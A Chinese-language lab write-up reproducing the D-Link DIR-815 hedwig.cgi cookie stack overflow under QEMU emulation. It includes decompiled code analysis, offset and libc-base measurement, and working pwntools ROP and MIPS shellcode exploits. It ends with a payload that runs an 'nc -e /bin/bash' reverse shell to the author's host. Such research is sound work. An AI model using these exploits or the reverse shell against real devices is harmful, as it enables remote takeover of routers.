dir-815复现记录

binwalk源码安装

进入github

Releases · ReFirmLabs/binwalk

选择一个版本下载 Source Code.tar.gz

解压

1
tar -xzvf binwalk-2.3.4.tar.gz

启动安装脚本

1
sudo python3 setup.py install

http协议学习

概述

HTTP(HyperText Transfer Protocol)是一种超文本传输协议,是 web 进行数据交换的基础,是 客户端-服务器 协议

由请求和响应构成,请求由 请求行,消息报头,请求正文构成

请求头

1
<Method> <Request-URI> HTTP/<major>.<minor>\r\n

method 表示客户端希望服务器对目标资源执行的操作(如读取,创建,删除等)

常见 method

  • GET:读取资源,可被缓存
  • POST:向服务器提交数据
  • PUT:用请求题替换目标资源
  • DELETE:删除资源
  • PATCH:对资源进行部分修改
  • OPTIONS:查询服务器对资源所支持的方法
  • TRACE:回显请求

<Request-URI>-请求目标,表示请求的资源,常见:

  1. Absolute-URI(绝对 URI)
  • 例:http://example.com/path?query=1
  • 在代理请求(forwarding)或某些代理场景常见。
  1. absolute-path(绝对路径)
  • 例:/index.html/api/status?uptime=1
  • 这是浏览器或客户端向 origin 服务器常用的形式。
  1. authority(主机:端口,仅在 CONNECT 请求中用)
  • 例:example.com:443(用于 CONNECT)。
  1. asterisk-form
  • 例:*(用于 OPTIONS * HTTP/1.1,指整个服务器而非单一资源)

HTTP/<major>.<minor>\r\n-协议版本

例如:

1
GET /index.html HTTP/1.1

消息报头

key: value

示例

1
2
3
4
5
6
7
8
Host: api.example.com
User-Agent: curl/7.68.0
Accept: application/json
Content-Type: application/json
Content-Length: 55
Connection: keep-alive
Cookie: session=abcd1234
Authorization: Bearer <token>
  • Host 指明要访问的服务器主机名字

  • User-Agent 告诉服务器我是哪个客户端/浏览器

  • Accept 希望收到数据的格式

  • Content-Type 我发过去的数据的格式

  • Content-Length 请求体长度(请求正文),只在需要传递数据时出现

  • Connection 是否保持TCP连接不关闭

  • Cookie 浏览器上次保存的 cookie,用于维持会话,比如登陆服务器返回 Set-Cookie: session=abcd1234 ,下次请求自动携带 Cookie: session=abcd1234 表明身份

  • Authorization 认证信息,验证我的身份是否合法(已登陆或有权限访问)

请求正文

  • 可选,仅在需要传输数据时出现(POST/PUT/PATCH)
  • 格式由 Content-Type 决定,长度:Content-Length

固件提取

下载地址:

https://legacyfiles.us.dlink.com/DIR-815/REVA/FIRMWARE/

binwalk提取:

1
binwalk -Me DIR-815-FW-1.01b14_1.01b14.bin
  • -M:Matryoshka模式,递归扫描嵌套文件
  • -e:Extract,自动提取识别出文件内容
  • -Me:递归提取所有嵌套文件

漏洞链接

国家信息安全漏洞共享平台

binwalk警告

我直接用 binwalk 提取后会报很多 warning,会因为安全而将软链接全部指向 /dev/null,这里修改源码,将 ./binwalk-2.3.4/src/binwalk/modules/extractor.py 里面最后几行改成

即可

分析

首先找到官方说的 hedwig.cgi

指向 /htdocs/cgibin,找到这个

1760610760743

32 位 mips 架构的程序

拖到 IDA 里

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
int __cdecl main(int argc, const char **argv, const char **envp)
{
const char *v3; // $s0
char *v6; // $v0
void (__noreturn *v8)(); // $t9
int v9; // $a0

v3 = *argv;
v6 = strrchr(*argv, 47);
if ( v6 )
v3 = v6 + 1;
if ( !strcmp(v3, "phpcgi") )
{
v8 = (void (__noreturn *)())phpcgi_main;
v9 = argc;
return ((int (__fastcall *)(int, const char **, const char **))v8)(v9, argv, envp);
}
if ( !strcmp(v3, "dlcfg.cgi") )
{
v8 = (void (__noreturn *)())dlcfg_main;
v9 = argc;
return ((int (__fastcall *)(int, const char **, const char **))v8)(v9, argv, envp);
}
if ( !strcmp(v3, "seama.cgi") )
{
v8 = (void (__noreturn *)())seamacgi_main;
v9 = argc;
return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp);
}
if ( !strcmp(v3, "fwup.cgi") )
{
v8 = (void (__noreturn *)())fwup_main;
v9 = argc;
return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp);
}
if ( !strcmp(v3, "fwupdater") )
{
v8 = fwupdater_main;
v9 = argc;
return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp);
}
if ( !strcmp(v3, "session.cgi") )
{
v8 = (void (__noreturn *)())&sessioncgi_main;
v9 = argc;
return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp);
}
if ( !strcmp(v3, "captcha.cgi") )
{
v8 = (void (__noreturn *)())&captchacgi_main;
v9 = argc;
return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp);
}
if ( !strcmp(v3, "hedwig.cgi") )
{
v8 = (void (__noreturn *)())&hedwigcgi_main;
v9 = argc;
return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp);
}
if ( !strcmp(v3, "pigwidgeon.cgi") )
{
v8 = (void (__noreturn *)())&pigwidgeoncgi_main;
v9 = argc;
return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp);
}
if ( !strcmp(v3, "service.cgi") )
{
v8 = (void (__noreturn *)())&servicecgi_main;
v9 = argc;
return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp);
}
if ( !strcmp(v3, "ssdpcgi") )
{
v8 = (void (__noreturn *)())ssdpcgi_main;
v9 = argc;
return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp);
}
if ( !strcmp(v3, "soap.cgi") )
{
v8 = (void (__noreturn *)())soapcgi_main;
v9 = argc;
return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp);
}
if ( !strcmp(v3, "gena.cgi") )
{
v8 = (void (__noreturn *)())genacgi_main;
v9 = argc;
return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp);
}
if ( !strcmp(v3, "conntrack.cgi") )
{
v8 = (void (__noreturn *)())&conntrackcgi_main;
v9 = argc;
return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp);
}
if ( !strcmp(v3, "hnap") )
{
v8 = (void (__noreturn *)())&hnap_main;
v9 = argc;
return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp);
}
printf("CGI.BIN, unknown command %s\n", v3);
return 1;
}

进入 hedwigcgi_main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
int hedwigcgi_main()
{
char *v0; // $v0
const char *v1; // $a1
FILE *v2; // $s0
int v3; // $fp
int v4; // $s5
int v5; // $v0
const char *string; // $v0
FILE *v7; // $s2
int v8; // $v0
int v9; // $s7
int v10; // $v0
int *v11; // $s1
int i; // $s3
char *v13; // $v0
const char **v14; // $s1
int v15; // $s0
char *v16; // $v0
const char **v17; // $s1
int v18; // $s0
int v19; // $v0
const char *v20; // $v0
char v22[20]; // [sp+18h] [-4A8h] BYREF
char *v23; // [sp+2Ch] [-494h] BYREF
char *v24; // [sp+30h] [-490h]
int v25[3]; // [sp+34h] [-48Ch] BYREF
char v26[128]; // [sp+40h] [-480h] BYREF
char v27[1024]; // [sp+C0h] [-400h] BYREF

memset(v27, 0, sizeof(v27));
memset(v26, 0, sizeof(v26));
strcpy(v22, "/runtime/session");
v0 = getenv("REQUEST_METHOD");//这是一个获取环境变量的函数,搜索名字为 REQUEST_METHOD 的环境变量,返回其指针
if ( !v0 )
{
v1 = "no REQUEST";
LABEL_7:
v3 = 0;
v4 = 0;
LABEL_34:
v9 = -1;
goto LABEL_25;
}
if ( strcasecmp(v0, "POST") )//必须是 POST 请求才可以
{
v1 = "unsupported HTTP request";
goto LABEL_7;
}
cgibin_parse_request(sub_409A6C, 0, 0x20000);//这个函数会对url解析,然后将POST内容读进来,然后通过 sub_409A6C
v2 = fopen("/etc/config/image_sign", "r");
if ( !fgets(v26, 128, v2) )
{
v1 = "unable to read signature!";
goto LABEL_7;
}
fclose(v2);
cgibin_reatwhite(v26);
v4 = sobj_new();
v5 = sobj_new();
v3 = v5;
if ( !v4 || !v5 )
{
v1 = "unable to allocate string object";
goto LABEL_34;
}
sess_get_uid(v4);
string = (const char *)sobj_get_string(v4);
sprintf(v27, "%s/%s/postxml", "/runtime/session", string);
xmldbc_del(0, 0, v27);
v7 = fopen("/var/tmp/temp.xml", "w");
if ( !v7 )
{
v1 = "unable to open temp file.";
goto LABEL_34;
}
if ( !haystack )
{
v1 = "no xml data.";
goto LABEL_34;
}
v8 = fileno(v7);
v9 = lockf(v8, 3, 0);
if ( v9 < 0 )
{
printf(
"HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>BUSY</result><message>%s</message></hedwig>",
0);
v9 = 0;
goto LABEL_26;
}
v10 = fileno(v7);
lockf(v10, 1, 0);
v23 = v26;
v24 = 0;
memset(v25, 0, sizeof(v25));
v24 = strtok(v22, "/");
v11 = v25;
for ( i = 2; ; ++i )
{
v13 = strtok(0, "/");
*v11++ = (int)v13;
if ( !v13 )
break;
}
(&v23)[i] = (char *)sobj_get_string(v4);
fputs("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n", v7);
v14 = (const char **)&v23;
v15 = 0;
do
{
++v15;
fprintf(v7, "<%s>\n", *v14++);
}
while ( v15 < i + 1 );
v16 = strstr(haystack, "<postxml>");
fprintf(v7, "%s\n", v16);
v17 = (const char **)&(&v23)[i];
v18 = i + 1;
do
{
--v18;
fprintf(v7, "</%s>\n", *v17--);
}
while ( v18 > 0 );
fflush(v7);
xmldbc_read(0, 2, "/var/tmp/temp.xml");
v19 = fileno(v7);
lockf(v19, 0, 0);
fclose(v7);
remove("/var/tmp/temp.xml");
v20 = (const char *)sobj_get_string(v4);
sprintf(v27, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20);
xmldbc_ephp(0, 0, v27, stdout);
if ( v9 )
{
v1 = 0;
LABEL_25:
printf(
"HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>FAILED</result><message>%s</message></hedwig>",
v1);
}
LABEL_26:
if ( haystack )
free(haystack);
if ( v3 )
sobj_del(v3);
if ( v4 )
sobj_del(v4);
return v9;
}
1
v0 = getenv("REQUEST_METHOD");

这是一个获取环境变量的函数,搜索名字为 REQUEST_METHOD 的环境变量,返回其指针

然后走到 cgibin_parse_request(sub_409A6C, 0, 0x20000);

这个函数会先对 url 进行解析,然后将 POST 内容读进来,通过 sub_409a6c 进行解析

在 cgibin_parse_request 内部

会获取几个环境变量,需要我们随便输入一点东西

1
sess_get_uid(v4);

进入其内部

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
int __fastcall sess_get_uid(int a1)
{
_DWORD *v2; // $s2
char *v3; // $v0
_DWORD *v4; // $s3
char *v5; // $s4
int v6; // $s1
int v7; // $s0
char *string; // $v0
int result; // $v0

v2 = sobj_new();
v4 = sobj_new();
v3 = getenv("HTTP_COOKIE");
if ( !v2 )
goto LABEL_27;
if ( !v4 )
goto LABEL_27;
v5 = v3;
if ( !v3 )
goto LABEL_27;
v6 = 0;
while ( 1 )
{
v7 = *v5;
if ( !*v5 )
break;
if ( v6 == 1 )
goto LABEL_11;
if ( v6 < 2 )
{
if ( v7 == 32 )
goto LABEL_18;
sobj_free(v2);
sobj_free(v4);
LABEL_11:
if ( v7 == 59 )
{
v6 = 0;
}
else
{
v6 = 2;
if ( v7 != 61 )
{
sobj_add_char(v2, v7);
v6 = 1;
}
}
goto LABEL_18;
}
if ( v6 == 2 )
{
if ( v7 == 59 )
{
v6 = 3;
goto LABEL_18;
}
sobj_add_char(v4, *v5++);
}
else
{
v6 = 0;
if ( !sobj_strcmp(v2, "uid") )
goto LABEL_21;
LABEL_18:
++v5;
}
}
if ( !sobj_strcmp(v2, "uid") )
{
LABEL_21:
string = (char *)sobj_get_string(v4);
goto LABEL_22;
}
LABEL_27:
string = getenv("REMOTE_ADDR");
LABEL_22:
result = sobj_add_string(a1, string);
if ( v2 )
result = sobj_del(v2);
if ( v4 )
return sobj_del(v4);
return result;
}
1
v3 = getenv("HTTP_COOKIE");

对 http 的 cookie 进行获取,接着用提取 = 之前的字符并且存在 v2 里

1
2
3
4
5
6
7
8
9
else
{
v6 = 2;
if ( v7 != '=' )
{
sobj_add_char(v2, v7);
v6 = 1;
}
}

读取到 = ,v6 就会保持2,从而进入下一个分支

提取 = 之后的字符串

1
2
3
4
5
6
7
8
9
if ( v6 == 2 )
{
if ( v7 == ';' )
{
v6 = 3;
goto LABEL_18;
}
sobj_add_char(v4, *v5++);
}

存到 v4 里

最后将 v2 和 uid 作比较,所以可以总结出,该函数作用就是提取 uid,如果没有拿到 cookie 就返回 ip 地址

回到 hedwigcgi_main

1
2
3
sess_get_uid(v4);                             // v4中存着uid
string = (const char *)sobj_get_string(v4); //将uid=后的字符串放在 string 里
sprintf(v27, "%s/%s/postxml", "/runtime/session", string);

这里将 string 加入到 v27 里,而其大小为 1024 ,可能发生栈溢出

1
2
v20 = (const char *)sobj_get_string(v4);
sprintf(v27, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20);

这里也有一个对 v27 写入的,但是由于写入的 v20 是 v4,也就是 uid= 之后,而 v4 未改变,所以同样是 uid= 后面的内容可以被我们当作 payload 利用

而走到这需要一些条件

1
2
3
4
5
6
v7 = fopen("/var/tmp/temp.xml", "w");
if ( !v7 )
{
v1 = "unable to open temp file.";
goto LABEL_34;
}

要能够成功打开 /var/tmp/temp.xml

这个在模拟环境下创建 /var/tmp 即可

第二个则是

1
2
3
4
5
if ( !haystack )
{
v1 = "no xml data.";
goto LABEL_34;
}

需要 !haystack 不为 0

该值在

1
cgibin_parse_request(sub_409A6C, 0, 0x20000);

中有出现,进入查看

当 REQUEST_URI 有东西时,就不会使 v9=0,也就会执行到

这里会进行一系列函数调用,会调用到

改变 haystack 值从而可以溢出

这里就要求环境变量 REQUEST_URI 中有内容,将其设置为 application/x-www-form-urlencoded

用户态模拟

测量偏移

执行

1
cyclic 2000 > payload

创建 start.sh

1
2
3
4
5
6
7
8
9
10
11
# start.sh
#!/bin/bash

# 定义输入数据和相关变量
INPUT="yyyffff=Pwner" # 发送的数据内容,也就是POST请求发送的正文
LEN=$(echo -n "$INPUT" | wc -c) # 计算内容长度
COOKIE="uid=`cat payload`" # 将文件payload的内容提取出来,插入到uid=.....之中

echo $INPUT | qemu-mipsel -L ./ -0 "hedwig.cgi" -E REQUEST_METHOD="POST" -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$COOKIE -E REQUEST_URI="2333" -g 1234 ./htdocs/cgibin
# 把INPUT内容写到管道,另一端是qumu-mipsel运行的程序 -L ./指定qemu-use使用 root filesystem 或者说动态连接器与库目录搜索,常用于把固件的库放在同目录供程序动态加载 -0 "hedwig.cgi" 强制将argv[0]设为hedwig.cgi -0 参数用于强制设置程序的 argv[0] 值, 后面的 -E 是设置环境变量了 -g 指定端口 echo 可以实现post的功能 -E:qemu-user的选项,用于将指定环境变量传入被执行的程序

并且创建 mygdb.sh

1
2
3
4
5
# mygdb.sh
set architecture mips # 指定架构
set follow-fork-mode child # 指定跟踪子进程
set detach-on-fork off # 当gdb跟踪fork分支时,这条设置不自动分离未被跟踪的乙一方
target remote 127.0.0.1:1234

然后执行

1
2
3
4
chmod +x start.sh
./start.sh
# 开启另一个终端执行
gdb-multiarch -x mygdb.sh

最终 gdb-mutiarch 应该如下

最终确定偏移1009

1
2
yy@yy-virtual-machine:~/桌面/dir815_FW_101/_DIR-815_FW_1.01b14_1.01b14.bin.extraed/squashfs-root$ cyclic -l 0x646b6161
1009

同时我们也可以控制一些寄存器

从 s0 开始偏移为 973 然后紧邻着

原因在于

可以被我们利用来构造 rop

确定libc基址

因为我的 ubuntu18 中的 gdb-multiarch 一连上就崩溃,这里用 ubuntu22.04 来调试:(

利用函数延迟绑定,将断点下在

第一次 t9 中存的是延迟绑定的地址

第一次

第二次就是真实地址了

第二次

(记得关闭地址随机化,不然libcbase会一直变)

这里得到 memset_addr=0x3ff6ca20

然后接下去就是找 memset 的偏移

将 libc 本体—libuClibc-0.9.30.1.so 放入 IDA,找到 memset 函数

libc

确定偏移为 0x34a20

相减得到 libcbase=0x3FF38000

纯rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')

libc_base = 0x3FF38000

payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1
payload += p32(libc_base + 0x159F4) # s1 move $t9, $s0 (=> jalr $t9)
payload += b'a'*4
payload += p32(libc_base + 0x6dfd0) # s3 /bin/sh
payload += b'a'*(4*2)
payload += p32(libc_base + 0x32A98) # s6 addiu $s0, 1 (=> jalr $s1)
payload += b'a'*(4*2)
payload += p32(libc_base + 0x13F8C) # ra move $a0, $s3 (=> jalr $s6)

payload = b"uid=" + payload
post_content = "pwner"
io = process(b"""
qemu-mipsel -L ./ \
-0 "hedwig.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=11 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE=\"""" + payload + b"""\" \
-E REQUEST_URI="2333" \
./htdocs/cgibin
""", shell = True)
io.send(post_content)
io.interactive()

解释一下,这里覆盖 ra 为这个,首先给 a0 ,也就是第一个参数为/bin/sh 然后跳到 s6 执行将 s0+1 ,因为我们为了避免 0 截断,给 s0 system 地址 -1 了,最后跳到 s1 执行,最终执行 system(/bin/sh)

不过这样打不通,根据 winmt 师傅的博客是说 system 函数会执行一个 fork 但是用户模式不支持多线程从而导致 fork 失败而退出

rop+shellcode

因为 shellcode 是直接调用 exceve ,没有创建子进程,所以可以使用

这里还是借用一下 winmt 师傅的 poc(

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')

libc_base = 0x3FF38000

payload = b'a'*0x3cd
payload += b'a'*4
payload += p32(libc_base + 0x436D0) # s1 move $t9, $s3 (=> lw... => jalr $t9)
payload += b'a'*4
payload += p32(libc_base + 0x56BD0) # s3 sleep
payload += b'a'*(4*5)
payload += p32(libc_base + 0x57E50) # ra li $a0, 1 (=> jalr $s1) 这里的rop主要作用就是跳到sleep

# 接下去是构造 sleep 中的栈
payload += b'a'*0x18 # 偏移,让栈对其slepp函数需要的
payload += b'a'*(4*4) # s0-s3
payload += p32(libc_base + 0x37E6C) # s4 move $t9, $a1 (=> jalr $t9) 跳到shellcode执行
payload += p32(libc_base + 0x3B974) # ra addiu $a1, $sp, 0x18 (=> jalr $s4) a1=sp+0x18,使 a1 指向 shellcode,然后跳到 s4 也就是上一行

shellcode = asm('''
slti $a2, $zero, -1
li $t7, 0x69622f2f
sw $t7, -12($sp)
li $t6, 0x68732f6e
sw $t6, -8($sp)
sw $zero, -4($sp)
la $a0, -12($sp)
slti $a1, $zero, -1
li $v0, 4011
syscall 0x40404
''')
payload += b'a'*0x18
payload += shellcode

payload = b"uid=" + payload
post_content = "winmt=pwner"
io = process(b"""
qemu-mipsel -L ./ \
-0 "hedwig.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=11 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE=\"""" + payload + b"""\" \
-E REQUEST_URI="2333" \
./htdocs/cgibin
""", shell = True)
io.send(post_content)
io.interactive()

成功拿到shell

qemu系统模式模拟

配置网络环境

安装工具

1
sudo apt-get install bridge-utils uml-utilities

修改 /etc/network/interfaces

1
2
3
4
5
6
7
8
9
10
11
12
13
14
auto lo
iface lo inet loopback

# ens33 不自己拿 IP,只作为桥接端口
auto ens33
iface ens33 inet manual

# br0 是桥接口,通过 DHCP 获取 IP
auto br0
iface br0 inet dhcp
bridge_ports ens33
bridge_maxwait 0


这个的意思是:

br0 对外桥接 ens33。br0 通过 DHCP 获取 IP(相当于虚拟机自己“上网”)。可以让 QEMU 的 tap0 等接口挂到 br0 上,共享外网

这里我是 ens33,要根据自己 ip addr 显示出来的修改

修改完后,输入

1
sudo /etc/init.d/networking restart

重启网络配置

修改qemu网络接口启动脚本

在 /etc/qemu-ifup 文件中写入

1
2
3
4
5
6
7
#!/bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing up $1 for bridge mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
sleep 2

整体作用:

  • 激活 QEMU 分配的 TAP 虚拟接口

  • 设置混杂模式,准备桥接

  • 把 TAP 接口加入宿主机的 br0

  • 暂停 2 秒等待网络稳定

创建包含qemu使用的所有桥的名称的配置文件

创建 /etc/qemu/bridge.conf 并且往其中写入 allow br0

旨在告诉 QEMU 哪些桥是允许的,否则桥接操作会被拒绝。

到这一步重启一下虚拟机

配置虚拟机内

下载内核及文件

下载地址:https://people.debian.org/~aurel32/qemu/mipsel/.
下载其中的vmlinux-3.2.0-4-4kc-malta内核以及debian_squeeze_mipsel_standard.qcow2镜像文件。

安装好qemu后,将镜像和文件放在同一文件夹下,创建启动脚本

1
2
3
4
5
6
7
#!/bin/bash
sudo qemu-system-mipsel \
-M malta -kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic,macaddr=00:16:3e:00:00:01 \
-net tap

chmod +x 后启动该脚本,进入qemu,其中初始账号密码为 root/root

进入后,首先使用 nano /etc/network/interfaces

这里 eth1 要用 ip addr 查看

1
2
allow-hotplug eth1
iface eth1 inet dhcp

然后用命令 ifup eth1 然后再使用ip addr 看到的应该是这样的

1
2
3
4
5
2: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
link/ether 00:16:3e:00:00:01 brd ff:ff:ff:ff:ff:ff
inet 192.168.192.133/24 brd 192.168.192.255 scope global eth1
inet6 fe80::216:3eff:fe00:1/64 scope link
valid_lft forever preferred_lft forever

不过我的虚拟机不知道为什么一直没有 ip,所以我自己添加了一下

在宿主机内用 ip addr 查看桥接 br0 的 ip

这里我的是

1
2
3
4
5
6
8: br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether 00:0c:29:21:f9:0e brd ff:ff:ff:ff:ff:ff
inet 192.168.221.137/24 brd 192.168.221.255 scope global br0
valid_lft forever preferred_lft forever
inet6 fe80::20c:29ff:fe21:f90e/64 scope link
valid_lft forever preferred_lft forever

然后在虚拟机内用命令

1
2
ifconfig eth1 192.168.221.200 netmask 255.255.255.0 up # 设置同一个网段下的ip
route add default gw 192.168.221.2 # 添加默认网关

然后 ip addr 就会变为

同时虚拟机内也能 ping 通宿主机,感觉像是成功了

然后可以通过 ssh 连上 qemu,因为 qemu 内部很难操作

1
ssh root@192.168.221.139

然后在宿主机内将固件发送到虚拟机内

1
scp -r ./squashfs-root root@192.168.221.139:/root/

启动http服务+准备工作

在 qemu 中 squashfs-root 下创建 http_conf ,写入(记得自己修改网卡、ip、端口)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On #开启log
ErrorLog /log #log文件

Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}

Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}


Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth1 #对应qemu仿真路由器系统的网卡
Address 192.168.192.133 #qemu仿真路由器系统的IP
Port "1234" #对应未被使用的端口
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs/web
IndexNames { index.php }
External
{
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
External
{
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}

开启物理机转发功能

在 /opt/tools/mipsel 目录下创建 init.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#! /bin/sh
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT

然后回到 qemu squashfs-root 目录下创建 init.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/bin/bash
echo 0 > /proc/sys/kernel/randomize_va_space
cp http_conf /
cp sbin/httpd /
cp -rf htdocs/ /
mkdir /etc_bak
cp -r /etc /etc_bak
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
rm -rf /htdocs/web/hedwig.cgi
rm -rf /usr/sbin/phpcgi
rm -rf /usr/sbin/hnap
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
./httpd -f http_conf

然后 chmod +x 后启动,成功启动 httpd 服务

退出虚拟机的时候需要运行 fin.sh 脚本来恢复 /etc 文件夹

1
2
3
4
#!/bin/bash
rm -rf /etc
mv /etc_bak/etc /etc
rm -rf /etc_bak

确定qemu中libc基址

需要下载一个工具

https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver 中下载 gdbserver.mipsle,然后传到 qemu 内

1
scp -r ./gdbserver.mipsle root@192.168.221.139:/root/squashfs-root

然后创建启动脚本 run.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
export CONTENT_LENGTH="11"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat payload`"
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
echo "winmt=pwner"|./gdbserver.mipsle 192.168.221.139:6667 /htdocs/web/hedwig.cgi
#echo "winmt=pwner"|/htdocs/web/hedwig.cgi
unset CONTENT_LENGTH
unset CONTENT_TYPE
unset HTTP_COOKIE
unset REQUEST_METHOD
unset REQUEST_URI

然后 chmod +x 后运行

宿主机内 gdb-multiarch 设置好背景后 target remote 192.168.221.139:6667 用 vmmap

不知道为什么我的 vmmap 没有显示出 libcbase,所以这里我用了和上面一样的办法,找到 memset 真实地址然后跟上面一样减去偏移也得到了 libc 基址

libcbase=0x77f68a20-0x34a20=0x77f34000

法1:生成payload后传入qemu

  • 纯 rop

首先在宿主机内创建脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')

cmd = b'nc -e /bin/bash 192.168.221.137 8888' # 这里写宿主机br0的ip和宿主机监听的端口

libc_base = 0x77f34000

payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1
payload += p32(libc_base + 0x169C4) # s1 addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a'*(4*7)
payload += p32(libc_base + 0x32A98) # ra addiu $s0, 1 (=> jalr $s1)
payload += b'a'*0x18
payload += cmd

fd = open("payload", "wb")
fd.write(payload)
fd.close()

